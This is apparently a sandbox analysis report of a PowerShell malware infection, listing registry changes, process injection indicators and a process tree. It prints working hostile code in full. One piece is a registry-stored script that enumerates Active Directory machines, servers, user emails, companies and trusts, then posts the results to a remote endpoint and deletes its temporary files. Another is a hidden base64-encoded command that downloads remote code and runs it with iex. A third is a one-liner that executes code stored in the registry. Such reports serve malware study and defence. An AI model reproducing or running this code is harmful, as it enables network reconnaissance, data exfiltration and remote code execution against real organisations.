5f63e51027161b889e2787d55a96dc7ab5b4c3d274f764f3f3e15d3fe116416dc951c0bcec8cd737af15476dce247366ce4c07f524b05f67c71104a7dfda76014c589b53576774279667c73eb612970d30a6a28be4cd9d9612360e1f630e86b1020dc9907562b1d416f8cc392797198ab5d1c27dfd9cc3c63b1066551230f81bdcb37bb79e38897f918f343adb6795c85fb3192c4b8feee8394e50a5043aefd35661a0cf12fa3edfd0e9987b4944f161e9b5310d5f8a396ed09fdbcdfe07d0f79069ffe4e7f87dfade2edb3ccf762126700074cb216d8c19f61f0406072c27b7d6de76ae2ffa179da30418f19175be565cf98ec43a32c6d6e8b77ffaa049552a771f5cafd3ca908e94f5ca3bdbf9fabe2b2093efb3f206575f0cf9fbf65d833bb7f83120e2e13f6afde9a9e52f5acd2a79e1fe5146bf21cdd5555d7c9191dd402f1db61b0d2f829d14849c2340ed502942399bb681d52e282d53d4e5f38683ec41654055cc635637be5f94cd630a72c89c2959248316c251497fc24a5b6ac010d8f2464450a8bfdf1d0e49f0d4e3c232f00c0b35cd8467a7c35f10889c49a90877b43f988142c3c441f0ee8d63e8c35ad99f4b691a35127c1130fdb64e602ee821dc0e40930c19ed71c1fb79970258c80cafbbc71b14e9d739d6dd7e5e196a273566e8f5476b2308c8099b595fd073d79c225fe6e2bffa30eebbe1ff7349e470b6f9361226f6ab359129e7ea1e94c7e4298bcf56a592e651f8006bd72bfeb10662e1076686186589c90c582c667aadb759882133d81387111f75f60e44b134cc1754a32b9b9bbc68d20e4f6182fa0195fe5714b344538f56097775a84019ba56ebeb7845daa8879b88fee9ead902bc75866f51282871a57033bf8357c262879ee5a424aedc7d3bcab6d4c335541ddebe6bb9dd4b34b04d13a559ffa1f07a68ed9fadb1e568c003f538af1ce3d6db6c24dfca1e1f3bfd20403d5598a581acafd59b0db0f3b214dfe1d0076e70343621b5906c572e903b98ebefaf1ff6eab150205333a8dcbf9bcf87fe4ef3aac506d494dc9d3b4d088654b824a97c19a2f2f41d3981ead935a1a26cf8fa6c8d80106dd283294899815839d6c3ee10964761dd4c04e7550bc29362d7977e0a09aa4e950da6ad6d8a47b2dc6af4a186daf999ddd03ec3157085750c783ea1799c9214688c1b779624eaa74772e1557a9cebe6a62ffc5fd4516b78f570c175e15cfcb64292796d3a8491bc0bb769a6e12d263daf8bd30f7cd3cb576b8dfa41f10c785e18b0880d6b0ac05dccec9fc5795f5f460dcf59e2d68301a2ca93f30cdf00c686f659f13bf7b5af07276ebe6bf79d88ab62e35521621bd1307acb25575e30865810e5f16b82a4de518dd0d158b8538e592a04d4229733a623086236788e6aca88095d9bf95a4806fd38d4594e7425ebf8498c17584e8b3669aec4fe50bdd510220233c87053964ccb169b33585e10ebce53855e882fcf8f0355f8918a402439483df2e723d41e6508d3ba7af51ceefdae557cfed61efdd2e3e2cc5a2d6c272d2d46810ada2f07f361210911446a8d5accf2668c8b8e32e8822b12391f5af996fcfd804ed985251fd81df29233a3d407ab42af875238d8d6f1baec6a81724c8ad08de10325d43299ff1730fa4b226bcd14af14da1f4263f56882fa0f4ba97291c67504a63806bf5c3689945e75ef2f6a60ba804f7631754cc5a93ae44b4081e35b5755804fab80edbc8e9343744bb422360663f376d9abf3265a9d4ce35ba27b01efc35a402a8edaa2b6214e4a416f11a5317c3743a9cef12d3760588d2a90f4067b41f262579e1d85ebf70af1b0d65bcdaf8249fc949841241aa9b0f5aff0eaa3c2a55e914f0e63a4316abb0ad3043ec0aa4e8522006688c30d76f6f110f60f173ee4b28b1e33abb6f7b1bd611be574a000ed6a6425569e27319e363a3fb098833791925746c74b5716746580488845ad979ee3b25197ce438d80dd0352a3e6de8d1cadf96e612c6b9e1426f565825e3c3440113351722af0d6a24492e897ac2e0eeaa8f02579d04cec573d3e94a9e23f9f785027e420524cb667fc296606b684aeae2788b1078c4cf31328b0ba1c7893989181d59f7208dde0c3ad9f4ec11037eef14759ff6008c5ec27d872c9acd0ecf70d48c4099f4de5a938209440031fdfc870480568dc4308d4bd30b9b68e20c4c633c6f8e14e9f2f7190dd74fd267a13586c7ff62102b0db682e7b23acd3639046dc5e6c241e48812fceffba6ff4944b145da9aa83be50ad91c345948d390e8e0e91625a0395b8dc50219bae8a7689214fbae5c9d9ae546c7f7175bd7366834111ef50464d8fdec42fe35ebb1fac2a7715ce8ed26964beddab187210a22db84067b081f193b4f1cb667e6f3b58e64f61481df7b26d8ee56a256077a06965ab30e11f9feff12652547d9532a578d4bf58c7dfb14d792510d536dc848204c03cf56393cd42c16cb4fbae9e982156f29b7e271ce0a168e41fc4b3d104a342066e716141ba506294fe2f973939b412729751941ba3798d635caa93c71f7467c851b25047b8221a72f8df448be9fa1d1c76bf09c3aea76ce31e5d1fa9b1065259fc1217b1cde5f295eb2e14f1a00fbc40589ba4cd362e35b0e3be68808e0688c351a9be2e5bc5f1f80bf4b0018ecd18425e3a35b1ad0ff3197dd10571e637c17683c6237bbb18d8960c8815cac48898fe441667e6073d3de8a46b00097a8a13934207b051372ff5a56e5601c423051c75608f974d1df49672f2f49e853aae20169ef3c5f4e0747b03778ded5d48a7e1086e62f469016f0882a8eaf4fce00ec7fbd61f68ab66536fea090bb65b1a5475eb13f1f1a18ed2b644822881fa1e1cfd3b0d1263646bff368e76588b47c03b8d1e624f38e6397f4af24344316794904d522b302a2d14a464c4ab3f68a4a4d7f549aabe3ab29d5e1032a7c3af3b10f264a233b4e47a180671f5be2b513be7ea497ec08fbd8cbc084c46208aed22676807d8b28776c046cb09cc2ea93765ca5444487d9938a8e695773ad4ef2780845f890f2e17d411531dedb7fc995c4d04eab1ea421c65d12711e7589710c827727b5fc76ea6eeb0be0d441752ab272865ef3a6ec104c54d7124cd48905c78494827d9541aa893e0e2acdb380f8f5fd2372b578d0a009b7d8c7850d549ef4b22b2bfa9024f09e09200f9328b829fc23d6d49f0264e6a254d8ba03694bda6bb385fd6487a5ee4447ce086c4a1df4641670e4ef179334a188934da4b1ed31e7068da0e7f01d25e50e154bea0d5a8670e7ae02cd2b7a9fd98a11fc28274ae2e8917403b4f1610df21be5766b83d34647a699df9ee5dfe739780bc8748cabcfa5c637da6503dc0515f108bbbb35ff5ade3d0ff69e09d127b61fe6916041013fa24570c96c3a058af850876e3f3acd996dac54bb502bde8e0bfb51c299100df9b1169e679d373bb73e8fdc2f79398567b751f19e3b8f6c0329d71ffd5f4cabc8ca2664d484e9f4d5a4322b8e38f66e59aefc36c9dc09a38de20649ab11f42fdd29f82dabf78285975f1afce2488c1ce67e1367faa0c201ee043efb17205b47972be5af6c09ac61a52d3748728d3760246dfd7e5eda2d8e93e4ecfd7221fe0f5a8a620eb4bc4320a89e18a8c3c0a538166417916bd4f5cf8c80845e7fe80b2597d033e855e322a4bedbec248a02938c25c168c3d2f0b1bd73295a7882cea17afa274d3675516271f49a346535f5845187466c2a61bb6a873796e1e3d3aac1f36205f6da3aa6ff637a4a6fc03d24dd80f02b7573fc7da285cf9394c6db134f989fd8a56d8fe1a3f197a2a7ee71e62e5506d65f7fd48fc315d037cb2b94854084afa165ec4920cf25f588b49e46492fc251b8c9a7576d2199fa845ebd74c70836771460e10afaaec0ed12acb6b565b5be26bfe25eb4b439ae103b2437f38e7540467046fa5a8a9305055bee0cb35b782e394ee5ff6cb4f9620b9c1e7016a2088c86d7a0e2969eb1cb7a0a8ab7f45081f69e527255b0a89367346b38519829690fd8218ffcb800bdff675189f2eaa496e6157d5ce80764d888e4806d1a1174e96bcaf1105e433d020742086ec023c5432d55433d0b72179abb5aa7fa8dfc26730f8f6847902b45357e51e8a7ed8db9455c1d3c60ba96f4808a43b85e0717f90195860f44f40583f5bf08f8231802dfb47a36987fdec4e1697e7842f5b255c0a3deeb3ff0671bb521ed0894259cd5bfacabb1c75117b6dc6dc132a2864cd5c36a539d1d2239b8d1f84a8764144b8d8739e9220de75be3d299aceb80edc367b64238d7e17106074681096d700785318124c64eb40e0f7765d8b07abb667828e45fbc3beb46fad5 powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02}\VersionIndependentProgID\0510 = 613772255977472b6e76415e54435a51604a743e2f562963457b443f5c34317a277e625f6648713a534d3c30794c2264426a50326d78577535262440362e7c4b736c686b5d3b385b326e67786d72753837797739366f7a687370636a6165346b66626c7131647633756c2f4b2b353e307e31405a53655f3245347473262d244e7b3d606f6b4468272e7c6e7059366d2223517764252129383b6a7150414d543a48782a5c724358395e674f467d4a373f5661284262662c5d4c523c5779555b637a6933764947 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\ msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\7666 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n#$file = 'C:\\Temp\\transcript.tmp'\r\n$file = Join-Path $env:temp \"pers132.tmp\";\r\n$fileASCII = Join-Path $env:temp \"pers132a.tmp\";\r\n\r\nStart-Transcript -Path $File -Verbose |out-null;\r\n\r\n# Function to help post HTTP request to web service\r\n#Function PostWebRequest([String] $url, [String] $data, [int] $timeout)\r\n#{ \r\n ##$url = 'XXX_TRANSCRIPTURL_XXX';\r\n#+ADD\r\n $url = \"%MARKER%/getdomstats\";\r\n\r\n#$data = @\"\r\n#test2342=test1\r\n#sec test\r\n#\"@\r\n\r\n##write-output \"Begin\"\r\n\r\n\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n##Write-Host $data;\r\n\r\n\r\n\r\n##write-output \"End\"\r\n#####\r\n\r\n\r\n\r\nStop-Transcript |out-null;\r\n\r\n\r\n\r\nif (Test-Path $file) {\r\n\r\nget-content $file | set-content $fileASCII -encoding ASCII\r\n\r\n#$data = Get-Content -Path $fileASCII\r\nif (Test-Path $fileASCII) {\r\n $fileSize = (Get-Item $fileASCII).length\r\n \r\n $timeout = 5000;\r\n \r\n #$buffer = [System.Text.Encoding]::UTF8.GetBytes($data)\r\n #$buffer = [byte[]][char[]]$data;\r\n \r\n \r\n [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url)\r\n $webRequest.Timeout = $timeout\r\n $webRequest.Method = \"POST\"\r\n $webRequest.ContentType = \"application/x-www-form-urlencoded\"\r\n $webRequest.ContentLength = $fileSize;\r\n $webRequest.ServicePoint.Expect100Continue = 0;\r\n\r\n\r\n $requestStream = $webRequest.GetRequestStream()\r\n \r\n\r\n $fileStream = [System.IO.File]::OpenRead($fileASCII)\r\n $buffer = New-Object byte[] $fileSize\r\n $bytesRead = $fileStream.Read($buffer,0,$fileSize)\r\n\r\n $requestStream.write($buffer, 0, $bytesRead)\r\n $requestStream.Flush()\r\n\r\n \r\n# $requestStream.Write($buffer, 0, $buffer.Length)\r\n# $requestStream.Flush()\r\n $requestStream.Close()\r\n\r\n\r\n [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()\r\n $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())\r\n $result = $streamReader.ReadToEnd()\r\n}\r\n ##return $result\r\n\r\n#+ADD\r\nforeach($x in @($file, $fileASCII)){if(Test-Path $x){Remove-Item $x}}\r\n\r\n}\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2028 powershell.exe 472 powershell.exe 472 powershell.exe 896 msiexec.exe 1968 powershell.exe 1968 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 472 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2028 powershell.exe Token: SeDebugPrivilege 472 powershell.exe Token: SeDebugPrivilege 1968 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2028 wrote to memory of 472 2028 powershell.exe 30 PID 2028 wrote to memory of 472 2028 powershell.exe 30 PID 2028 wrote to memory of 472 2028 powershell.exe 30 PID 472 wrote to memory of 896 472 powershell.exe 35 PID 472 wrote to memory of 896 472 powershell.exe 35 PID 472 wrote to memory of 896 472 powershell.exe 35 PID 472 wrote to memory of 896 472 powershell.exe 35 PID 472 wrote to memory of 896 472 powershell.exe 35 PID 896 wrote to memory of 1968 896 msiexec.exe 38 PID 896 wrote to memory of 1968 896 msiexec.exe 38 PID 896 wrote to memory of 1968 896 msiexec.exe 38
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\work.ps11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc JABNAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGgAaQBuAGcAYwBhAGwAbABlAGQAYwBhAGsAZQAuAGMAbwBtAC8AZgBpAGwAZQAnACkAOwAkAHQAPQAkAE0ALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJABSAD0AJAB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQARgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACQAUgA7ACQAcAA9ACQARgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZQB4ACgAJABwACkAOwAgAA==2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:472 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='7666';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va ($p1|iex);exit}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1968
-
-
-